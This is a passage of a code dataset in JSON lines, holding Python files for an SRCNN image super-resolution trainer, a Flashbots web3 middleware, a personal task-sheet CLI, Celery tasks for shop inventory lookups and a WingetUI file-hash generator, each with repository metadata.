{"api_name": "pymysql.Error", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pymysql.connections", "line_number": 13, "usage_type": "attribute"}, {"api_name": "string.ascii_lowercase", "line_number": 41, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 42, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 61, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 66, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 93, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 99, "usage_type": "attribute"}]}
{"seq_id": "2391829044", "text": "# Modified from\n# https://github.com/yjn870/SRCNN-pytorch/blob/064dbaac09859f5fa1b35608ab90145e2d60828b/models.py\n# https://github.com/yjn870/SRCNN-pytorch/blob/064dbaac09859f5fa1b35608ab90145e2d60828b/train.py\n\n\nimport copy\n\nimport h5py\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch.utils.data.dataloader import DataLoader\nfrom torch.utils.data import Dataset\nimport torch.optim as optim\n\nfrom tqdm import tqdm\n\n\nclass SRCNN(nn.Module):\n    def __init__(self, num_channels=1):\n        super(SRCNN, self).__init__()\n        self.conv1 = nn.Conv2d(num_channels, 64,\n                               kernel_size=9, padding=9 // 2)\n        self.conv2 = nn.Conv2d(64, 32,\n                               kernel_size=5, padding=5 // 2)\n        self.conv3 = nn.Conv2d(32, num_channels,\n                               kernel_size=5, padding=5 // 2)\n        self.relu = nn.ReLU(inplace=True)\n\n    def forward(self, x):\n        x = self.relu(self.conv1(x))\n        x = self.relu(self.conv2(x))\n        x = self.conv3(x)\n        return x\n\n\ndef train_srcnn(train_h5_file, lr=1e-4, num_epochs=400,\n                batch_size=16, num_workers=8):\n    \"\"\"\n    Very basic training loop for SRCNN. Validation and model checkpoint saving are omitted for simplicity.\n    \n    Args:\n        train_h5_file: HDF5 file containing the training images. You can download this from\n            https://www.dropbox.com/s/curldmdf11iqakd/91-image_x3.h5?dl=0\n        lr: The learning rate used for the Adam optimizer.\n        num_epochs: The number of epochs.\n        batch_size: How many images to put into a single training batch.\n        num_workers: The number of CPU-workers to use for data loading (= composing the batch).\n    \"\"\"\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n    model = SRCNN().to(device)\n\n    criterion = nn.MSELoss()\n\n    optimizer = optim.Adam([\n        {'params': model.conv1.parameters()},\n        {'params': model.conv2.parameters()},\n        {'params': model.conv3.parameters(),\n         'lr': lr * 0.1}\n    ], lr=lr)\n\n    train_dataset = TrainDataset(train_h5_file)\n    train_dataloader = DataLoader(dataset=train_dataset,\n                                  batch_size=batch_size,\n                                  shuffle=True,\n                                  num_workers=num_workers,\n                                  pin_memory=True,\n                                  drop_last=True)\n\n    model.train()\n\n    for epoch in tqdm(range(num_epochs)):\n        loss_sum = 0\n        step_counter = 0\n        \n        for data in train_dataloader:\n            lr_imgs, hr_imgs = data\n\n            lr_imgs = lr_imgs.to(device)\n            hr_imgs = hr_imgs.to(device)\n\n            pred_hr_imgs = model(lr_imgs)\n\n            loss = criterion(pred_hr_imgs, hr_imgs)\n\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n            loss_sum += loss\n            step_counter += 1\n\n        loss_avg = loss_sum/step_counter\n\n        print(f'Avg train loss: {loss_avg} at epoch {epoch}/{num_epochs}')\n\n\nclass TrainDataset(Dataset):\n    def __init__(self, h5_file):\n        super(TrainDataset, self).__init__()\n        self.h5_file = h5_file\n\n    def __getitem__(self, idx):\n        with h5py.File(self.h5_file, 'r') as f:\n            return np.expand_dims(f['lr'][idx] / 255., 0), np.expand_dims(f['hr'][idx] / 255., 0)\n\n    def __len__(self):\n        with h5py.File(self.h5_file, 'r') as f:\n            return len(f['lr'])", "repo_name": "florisdf/maibi_cv", "sub_path": "1_image_enhancement/lib/srcnn.py", "file_name": "srcnn.py", "file_ext": "py", "file_size_in_byte": 3497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.utils.data.dataloader.DataLoader", "line_number": 64, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 99, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 106, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 109, "usage_type": "call"}]}
{"seq_id": "70178481533", "text": "from typing import Callable\nfrom web3 import Web3\nfrom web3.middleware import Middleware\nfrom web3.types import RPCEndpoint, RPCResponse\nfrom typing import Any\nfrom .provider import FlashbotProvider\n\nFLASHBOTS_METHODS = [\n    \"eth_sendBundle\",\n    \"eth_callBundle\",\n    \"eth_cancelBundle\",\n    \"eth_sendPrivateTransaction\",\n    \"eth_cancelPrivateTransaction\",\n    \"flashbots_getBundleStats\",\n    \"flashbots_getUserStats\",\n    \"flashbots_getBundleStatsV2\",\n    \"flashbots_getUserStatsV2\",\n]\n\n\ndef construct_flashbots_middleware(\n    flashbots_provider: FlashbotProvider,\n) -> Middleware:\n    \"\"\"Captures Flashbots RPC requests and sends them to the Flashbots endpoint\n    while also injecting the required authorization headers\n\n    Keyword arguments:\n    flashbots_provider -- An HTTP provider instantiated with any authorization headers\n    required\n    \"\"\"\n\n    def flashbots_middleware(\n        make_request: Callable[[RPCEndpoint, Any], Any], w3: Web3\n    ) -> Callable[[RPCEndpoint, Any], RPCResponse]:\n        def middleware(method: RPCEndpoint, params: Any) -> RPCResponse:\n            if method not in FLASHBOTS_METHODS:\n                return make_request(method, params)\n            else:\n                # otherwise intercept it and POST it\n                return flashbots_provider.make_request(method, params)\n\n        return middleware\n\n    return flashbots_middleware\n", "repo_name": "flashbots/web3-flashbots", "sub_path": "flashbots/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 1383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 356, "dataset": "github-code", "pt": "78", "api": [{"api_name": "provider.FlashbotProvider", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 33, "usage_type": "name"}, {"api_name": "web3.types.RPCEndpoint", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 33, "usage_type": "name"}, {"api_name": "web3.Web3", "line_number": 33, "usage_type": "name"}, {"api_name": "web3.types.RPCEndpoint", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 35, "usage_type": "name"}, {"api_name": "web3.types.RPCResponse", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 34, "usage_type": "name"}, {"api_name": "web3.types.RPCEndpoint", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 34, "usage_type": "name"}, {"api_name": "web3.types.RPCResponse", "line_number": 34, "usage_type": "name"}, {"api_name": "web3.middleware.Middleware", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "22743147786", "text": "#! /usr/bin/env python3\n\nimport os\nimport json\nimport argparse\nfrom datetime import datetime, date\nfrom sty import fg, ef, rs\nfrom .sheet import Sheet\n\nHOME = \"/home/ahacad/.distor/Dev/\"\nstoredPath = HOME + \"stored.json\"\n#deprecatedPath = HOME + \"deprecated.json\"\n#extendedPath = HOME + \"extended.json\"\nmetaPath = HOME + \"meta.json\"  # store color schemes\ncolorsDic = {\"red\": fg.red,\n             \"green\": fg.green,\n             \"yellow\": fg.yellow,\n             \"blue\": fg.blue,\n             \"magenta\": fg.magenta,\n             \"cyan\": fg.cyan,\n             \"white\": fg.white,\n             \"\": \"\"}\n\n\nclass Distor(Sheet):\n\n    ## Add option for automatically increase N days when copying a row\n    ## Calculate whether you can make it before ddl\n\n    def __init__(self, sheet):\n        self.sheet = sheet\n        self.width = len(sheet[0])\n        self.height = len(sheet)\n        self.remainSections = 0\n        self.skipColList = [0, 7, 8]\n        self.skipRowList = []\n\n        self.manageArgs()\n        self.manageColors()\n        self.manageOperations()\n        self.managePrints()\n        #self.printDistor()\n\n        self.saveSheet(storedPath)\n\n    def manageArgs(self):\n        \"\"\"manage argparse\"\"\"\n        parser = argparse.ArgumentParser()\n        parser.add_argument(\"--colorScheme\", action=\"store_true\")\n        parser.add_argument(\"-a\", nargs=6)\n        parser.add_argument(\"-d\", nargs=1)\n        parser.add_argument(\"-c\", nargs=1)\n        parser.add_argument(\"-f\", nargs=3)\n        parser.add_argument(\"-m\", nargs=2)\n        parser.add_argument(\"-n\", action=\"store_true\")\n        parser.add_argument(\"--all\", action=\"store_true\")\n        parser.add_argument(\"--ddl\", action=\"store_true\")\n        parser.add_argument(\"-p\", nargs=1, default=\"2\")  # padding in printing\n        self.args = parser.parse_args()\n\n    def loadColorScheme(self):\n        \"\"\"load color scheme, if not exist, creat one\"\"\"\n        if not os.path.exists(metaPath):\n            defaultColorScheme = [\"white\", \"green\", \"blue\", \"yellow\",\n                                  \"cyan\", \"red\", \"magenta\", \"white\", \"white\"]\n            with open(metaPath, \"w\") as json_file:\n                json.dump(defaultColorScheme, json_file, indent=4)\n        with open(metaPath) as json_file:\n            self.metas = json.load(json_file)\n            self.colorScheme = self.metas[0]\n\n    def changeColorScheme(self):\n        \"\"\"change the color scheme\"\"\"\n        pass\n\n    def printColorScheme(self):\n        \"\"\"print the color scheme along with header\"\"\"\n        if self.args.colorScheme:\n            for i in range(len(self.colorScheme)):\n                print(self.colorScheme[i], \" \")\n    \n    def manageColors(self):\n        \"\"\"manage color related things\"\"\"\n        self.loadColorScheme()\n        self.printColorScheme()\n\n    def sortFunc(self, colNum, fromRowNum, toRowNum):\n        \"\"\"sort the rows according to the specific column\n        in the rows [fromRowNum, toRowNum]\n        \"\"\"\n        if 0 <= fromRowNum and fromRowNum <= toRowNum and toRowNum <= self.height:\n            self.sheet[fromRowNum:toRowNum] = sorted(self.sheet[fromRowNum:toRowNum], key=lambda x: x[colNum])\n\n    def sortDistor(self):\n        \"\"\"sort the sheet\"\"\"\n        self.sortFunc(5, 1, self.height)\n\n    def metaNumberPlus(self):\n        \"\"\"increase number by one\"\"\"\n        number = self.metas[1][0]\n        num = int(number) + 1\n        number = str(num)\n        self.metas[1][0] = \"0\" * (5 - len(number)) + number\n        return self.metas[1][0]\n\n    def metaNumberMinus(self):\n        \"\"\"increase number by one\"\"\"\n        number = self.metas[1][0]\n        num = int(number) - 1\n        number = str(num)\n        self.metas[1][0] = \"0\" * (5 - len(number)) + number\n        return self.metas[1][0]\n\n    def filtDistor(self):\n        \"\"\"filt\"\"\"\n        filtRowList = self.filt(int(self.args.f[0]), self.args.f[1], 1, self.height, rule=self.args.f[2])\n        for i in range(1, self.height):\n            if i not in filtRowList:\n                self.skipRowList.append(i)\n\n    def addToDistor(self):\n        \"\"\"add to distor\"\"\"\n        newRow = self.sheet[0][:]\n        newRow[0] = self.metaNumberPlus()\n        newRow[1] = self.args.a[0]\n        newRow[2] = self.args.a[1]\n        newRow[3] = self.args.a[2]\n        newRow[4] = self.args.a[3]\n        newRow[5] = self.args.a[4]\n        newRow[6] = self.args.a[5]\n        self.addRow(newRow)\n\n    def distorDelete(self):\n        \"\"\"delete a row\"\"\"\n        if int(self.args.d[0]) > 0:\n            self.deleteRow(int(self.args.d[0]))\n        self.height -= 1\n\n    def modifyDistorRow(self):\n        \"\"\"modify a row in distor\"\"\"\n        rowNum = int(self.args.m[0])\n        colNum = int(self.args.m[1].split(\"=\")[0])\n        cell = self.args.m[1].split(\"=\")[1]\n        self.modifyCell(rowNum, colNum, cell)\n\n\n    def manageOperations(self):\n        \"\"\"\"\"\"\n        if self.args.a:  # add\n            self.addToDistor()\n        elif self.args.d:  # delete\n            self.distorDelete()\n        elif self.args.c:  # copy\n            newRow = self.sheet[int(self.args.c[0])][:]\n            newRow[0] = self.metaNumberPlus()\n            self.addRow(newRow)\n        elif self.args.m:\n            self.modifyDistorRow()\n        if self.args.f:  # filt\n            self.filtDistor()\n        if self.args.ddl:\n            pass\n        self.sortDistor()\n\n    def getInt(self, x):\n        \"\"\"convert x to int\"\"\"\n        if x.isdigit():\n            return int(x)\n        else:\n            return 0\n\n    def calculateDDL(self, rowNum, padding):\n        \"\"\"calculate DDL and print\"\"\"\n        if rowNum == 0:\n            print(f\"{'SUM':^{3 + padding}}|\", end=\"\")\n        else:\n            self.remainSections += int(self.sheet[rowNum][3]) - self.getInt(self.sheet[rowNum][7])\n            print(f\"{self.remainSections:^{3 + padding}}|\", end=\"\")\n\n    def printRow(self, rowNum, padding=2, color=\"YES\"):\n        \"\"\"print one row in distor, according to the color scheme\"\"\"\n        if rowNum in self.skipRowList:\n            return 0\n        if color:\n            colorScheme = self.colorScheme\n        else:\n            colorScheme = [\"\" for i in range(len(self.colorScheme))]\n        for j in range(self.width):\n            if j in self.skipColList:\n                continue\n            print(colorsDic[colorScheme[j]], end=\"\")\n            print(f\"{self.sheet[rowNum][j]:^{self.colWidth[j] + padding}}\", end=\"\")\n            print(fg.rs, end=\"\")\n            print(\"|\", end=\"\")\n        if self.args.ddl:\n            self.calculateDDL(rowNum, padding)\n\n    def managePrints(self):\n        \"\"\"\"\"\"\n        self.colWidth = [0 for i in range(self.width)]\n        for i in range(self.height):\n            for j in range(self.width):\n                self.colWidth[j] = max(self.colWidth[j], len(self.sheet[i][j]))\n        if self.args.all:\n            self.printSheetWithNumber()\n        else:\n            if self.args.n:\n                self.skipColList = []\n            self.printRow(0, padding=int(self.args.p[0]), color=\"\")\n            print(\"\\n\", end=\"\")\n            for i in range(1, self.height):\n                self.printRow(i, padding=int(self.args.p[0]))\n                print(\"\\n\", end=\"\")\n    \n    def saveSheet(self, storedPath):\n        \"\"\"save the sheet\"\"\"\n        with open(storedPath, \"w\") as json_file:\n            json.dump(self.sheet, json_file, indent=4)\n        with open(metaPath, \"w\") as json_file:\n            json.dump(self.metas, json_file, indent=4)\n\n\n    # CALCULATE DDL MODULE\n\ndef loadSheet():\n    \"\"\"load sections from the stored json file\n    \"\"\"\n    with open(storedPath) as json_file:\n        sheet = json.load(json_file)\n    #with open(deprecatedPath) as json_file:\n    #    deprecatedSheet = json.load(json_file)\n    #with open(extendedPath) as json_file:\n    #    extendedSheet = json.load(json_file)\n    #return sheet, deprecatedSheet, extendedSheet\n    return sheet\n\n\ndistor = Distor(loadSheet())\n\n\n\n\n\n\n# WHAT NEXT\n# learn to use argparse better, and build usages around it\n#\n#\n# YET TO BUILD:\n## LITTLE THINGS\n# testInput (with python raise exceptions, help ensure input quality)\n#\n#\n## MAIN FEATURE\n\n### What next\n#   - learn OOP\n#   - learn click\n# ==> fininsh the features\n#   - learn urwid\n# ==> make the gui interface\n### REWRITE the whole program with OOP\n### REwrite data structures into more flexible excel-like columns and rows\n### rewrite cli with click, substituting argparse\n#      more flexible prints\n###  CHECK whether you can make it before DDL\n\n\n# techniques used:\n# - json, for data process\n# - format alignment and colored printing\n# - sty, for colors\n# - argParse, for cli\n", "repo_name": "Ahacad/distor", "sub_path": "distor/Distor/distor.py", "file_name": "distor.py", "file_ext": "py", "file_size_in_byte": 8613, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sty.fg.red", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 15, "usage_type": "name"}, {"api_name": "sty.fg.green", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 16, "usage_type": "name"}, {"api_name": "sty.fg.yellow", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 17, "usage_type": "name"}, {"api_name": "sty.fg.blue", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 18, "usage_type": "name"}, {"api_name": "sty.fg.magenta", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 19, "usage_type": "name"}, {"api_name": "sty.fg.cyan", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 20, "usage_type": "name"}, {"api_name": "sty.fg.white", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 21, "usage_type": "name"}, {"api_name": "sheet.Sheet", "line_number": 25, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 67, "usage_type": "call"}, {"api_name": "json.load", "line_number": 69, "usage_type": "call"}, {"api_name": "sty.fg.rs", "line_number": 193, "usage_type": "attribute"}, {"api_name": "sty.fg", "line_number": 193, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 218, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 220, "usage_type": "call"}, {"api_name": "json.load", "line_number": 229, "usage_type": "call"}]}
{"seq_id": "202658628", "text": "from product.data import ProductMySQLInterface\nfrom product.utils import Downloader\nfrom celery import shared_task, chain\nfrom celery.utils.log import get_task_logger\nfrom datetime import datetime, timedelta\nimport json\nfrom time import sleep\n\nlogger = get_task_logger(__name__)\n\n\n@shared_task(\n    # bound to self instance\n    bind=True,\n    # in-queue expiry time: in 1 hour\n    utc=True,\n    expires=datetime.utcnow() + timedelta(hours=1),\n    # (soft, hard) execution time limits\n    # SoftTimeLimitExceeded exception is raised when\n    # soft time limit is reached.\n    timelimit=(25, 30),\n    # retry with max_retries and backoff\n    autoretry_for=(Exception,),\n    max_retries=5,\n    retry_backoff=True,\n    # select queue\n    queue=\"slow\",\n)\ndef get_quantity_from_store(self, count, sku, store, zipcode):\n    logger.info(f\"Get quantity for {sku} at {store} around {zipcode}\")\n    sleep(0.5)\n    info = []\n    # variation exists, not always 20\n    if store == \"tgt\" and count < 18:\n        downloader = Downloader(\n            \"http://scraper-web:8000/scraper/\"\n            f\"target/quantity/{sku}/{zipcode}/\"\n        )\n        resp = downloader.response\n        if resp and resp.status_code == 200:\n            try:\n                info = resp.json().get(\"info\")\n            except Exception:\n                logger.exception(f\"get_quantity_from_store : {sku}-{zipcode}\")\n            if info is None:\n                info = []\n    return info\n\n\n@shared_task(\n    # in-queue expiry time: in 1 hour\n    utc=True,\n    expires=datetime.utcnow() + timedelta(hours=1),\n    # (soft, hard) execution time limits\n    # SoftTimeLimitExceeded exception is raised when\n    # soft time limit is reached.\n    timelimit=(25, 30),\n    # acknowledge after execution for idempotent\n    # procedures\n    acks_late=True,\n    # select queue\n    queue=\"celery\",\n)\ndef add_quantity_to_db(info):\n    if info:\n        ProductMySQLInterface.add_quantity(info)\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n)\ndef count_quantity(sku, store, zipcode):\n    # count of stores with the latest quantity\n    count = 0\n    data = ProductMySQLInterface.count_store_with_latest(sku, store, zipcode)\n    if data:\n        count = data[0][0]\n    return count\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n    queue=\"fast\",\n)\ndef count_get_add_quantity(sku, store, zipcode):\n    chain(\n        count_quantity.s(sku, store, zipcode),\n        get_quantity_from_store.s(sku, store, zipcode),\n        add_quantity_to_db.s()\n    ).delay()\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n)\ndef get_tracked_products(userid):\n    zipcode = \"\"\n    products = []\n    data = ProductMySQLInterface.get_zipcode(userid)\n    if data:\n        zipcode = data[0][0]\n    if zipcode:\n        data = ProductMySQLInterface.list_all_track_products(userid)\n        if data:\n            products = json.loads(data[0][0])\n    return zipcode, products\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n)\ndef get_quantity_per_product(zipcode_products):\n    zipcode, products = zipcode_products\n    for product in products:\n        sku = product[\"sku\"]\n        store = product[\"store\"]\n        count_get_add_quantity.delay(sku, store, zipcode)\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n    queue=\"fast\",\n)\ndef preload(userid):\n    chain(\n        get_tracked_products.s(userid),\n        get_quantity_per_product.s()\n    ).delay()\n\n\n@shared_task(\n    utc=True,\n    expires=datetime.utcnow() + timedelta(minutes=5),\n    timelimit=(25, 30),\n    acks_late=True,\n)\ndef update_zipcode(userid, zipcode):\n    ProductMySQLInterface.update_zipcode(userid, zipcode)\n", "repo_name": "ypeng90/shopper", "sub_path": "shopping/shopping/product/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 4000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "celery.utils.log.get_task_logger", "line_number": 9, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "product.utils.Downloader", "line_number": 35, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 17, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface.add_quantity", "line_number": 66, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface", "line_number": 66, "usage_type": "name"}, {"api_name": "celery.shared_task", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 53, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface.count_store_with_latest", "line_number": 78, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface", "line_number": 78, "usage_type": "name"}, {"api_name": "celery.shared_task", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 71, "usage_type": "call"}, {"api_name": "celery.chain", "line_number": 92, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 86, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 86, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface.get_zipcode", "line_number": 108, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface", "line_number": 108, "usage_type": "name"}, {"api_name": "product.data.ProductMySQLInterface.list_all_track_products", "line_number": 112, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface", "line_number": 112, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 101, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 101, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 101, "usage_type": "call"}, {"api_name": "product.data", "line_number": 126, "usage_type": "name"}, {"api_name": "product.data", "line_number": 127, "usage_type": "name"}, {"api_name": "product.data", "line_number": 128, "usage_type": "name"}, {"api_name": "celery.shared_task", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 120, "usage_type": "call"}, {"api_name": "celery.chain", "line_number": 140, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 132, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 134, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 134, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface.update_zipcode", "line_number": 153, "usage_type": "call"}, {"api_name": "product.data.ProductMySQLInterface", "line_number": 153, "usage_type": "name"}, {"api_name": "celery.shared_task", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 148, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 148, "usage_type": "call"}]}
{"seq_id": "5539099539", "text": "import glob\nimport hashlib\nimport json\nimport os\nimport sys\nimport time\n\nroot_dir = os.path.join(os.path.dirname(__file__), \"..\")\nos.chdir(root_dir) # move to root project\n\nif not \"--buildfiles\" in sys.argv:\n    sys.path.append(\"wingetui\")\n    os.chdir(\"wingetui\")\nelse:\n    sys.path.append(\"wingetui_bin\")\n    os.chdir(\"wingetui_bin\")\n\nHASHES: dict[str:str] = {}\n\ntime0 = time.time()\n\nfor file in glob.glob(\"./**/**.py\") + glob.glob(\"./**.py\") + glob.glob(\"./components/**.exe\") + glob.glob(\"./**/**.pyc\") + glob.glob(\"./**.pyc\") + glob.glob(\"./**/**.dll\") + glob.glob(\"./**.dll\"):\n    if \"__init__\" in file or \"__pycache__\" in file:\n        continue\n    with open(file,\"rb\") as f:\n        bytes = f.read() # read entire file as bytes\n        readable_hash = hashlib.sha256(bytes).hexdigest()\n        HASHES[file] = readable_hash\n\nprint(f\"Elapsed {time.time()-time0} seconds\")\n\nparsed_dict = \"HASHES: dict[str:str] = \" + json.dumps(HASHES, indent=4)\nsavable_content = \"\"\n\nfor line in parsed_dict.split(\"\\n\"):\n    savable_content += \"    \"+line+\"\\n\"\n\nwith open(\"__init__.py\", \"r+\", encoding=\"utf-8\") as f:\n    skip = False\n    data = \"\"\n    for line in f.readlines():\n        if \"BEGIN AUTOGENERATED HASH DICTIONARY\" in line:\n            data += f'{line}{savable_content}'\n            print(\"  Text modified\")\n            skip = True\n        elif \"END AUTOGENERATED HASH DICTIONARY\" in line:\n            skip = False\n        if not skip:\n            data += line\n    f.seek(0)\n    f.write(data)\n    f.truncate()\nos.system(\"pause\")\n", "repo_name": "marticliment/WingetUI", "sub_path": "scripts/generate_integrity.py", "file_name": "generate_integrity.py", "file_ext": "py", "file_size_in_byte": 1531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5381, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "os.system", "line_number": 53, "usage_type": "call"}]}
